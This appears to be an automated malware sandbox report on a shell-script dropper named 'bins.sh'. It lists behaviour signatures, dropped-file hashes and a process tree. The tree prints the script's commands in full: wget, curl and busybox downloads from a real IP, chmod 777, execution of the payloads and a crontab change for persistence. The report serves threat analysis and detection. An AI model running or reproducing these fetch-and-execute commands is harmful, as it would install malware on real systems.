Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    06/11/2024, 01:15

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-bmcrlsvmbr
  • SHA256 cc685abb25c89411a283ec172171d2c67e2914ed59556ea4c15d6d71cf36ab1d
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2119) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1501
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1502
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /bin/chmod
          chmod 777 sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          ./sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Executes dropped EXE
          PID:1511
        • /bin/rm
          rm sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
            PID:1513
          • /usr/bin/wget
            wget http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:1515
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /bin/chmod
            chmod 777 aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • File and Directory Permissions Modification
            PID:1517
          • /tmp/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            ./aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
            • Executes dropped EXE
            PID:1518
          • /bin/rm
            rm aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
            2⤵
              PID:1520
            • /usr/bin/wget
              wget http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
              • Writes file to tmp directory
              PID:1521
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
              • Writes file to tmp directory
              PID:1522
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
              • Writes file to tmp directory
              PID:1523
            • /bin/chmod
              chmod 777 Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
              • File and Directory Permissions Modification
              PID:1524
            • /tmp/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              ./Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
              • Executes dropped EXE
              PID:1525
            • /bin/rm
              rm Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
              2⤵
                PID:1527
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                • Writes file to tmp directory
                PID:1528
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                • Writes file to tmp directory
                PID:1530
              • /bin/chmod
                chmod 777 Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                • File and Directory Permissions Modification
                PID:1531
              • /tmp/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                ./Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1532
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1534
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1535
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1536
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1537
                    • /bin/rm
                      rm Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                      2⤵
                        PID:1539
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/BrndbWFzbSO7UklPUdtmYxYVhFyurdAxD9
                        2⤵
                          PID:1542

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                            • Path /tmp/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                            • Size 107KB
                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                            • Path /tmp/Pv8ToGx1rDM3QYTkWnA0HySA4v63kHpSMg
                            • Size 98KB
                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                            • Path /tmp/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                            • Size 151KB
                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
                            • Path /tmp/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
                            • Size 177KB
                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.TVPwm8
                            • Path /var/spool/cron/crontabs/tmp.TVPwm8
                            • Size 210B
                            • SHA256 bf312f872ca3ae852eee073cac74143f6655ec0acd528f0491571b799d0cef0e
                            • MD5 SHA1 SHA512
                            Submit Download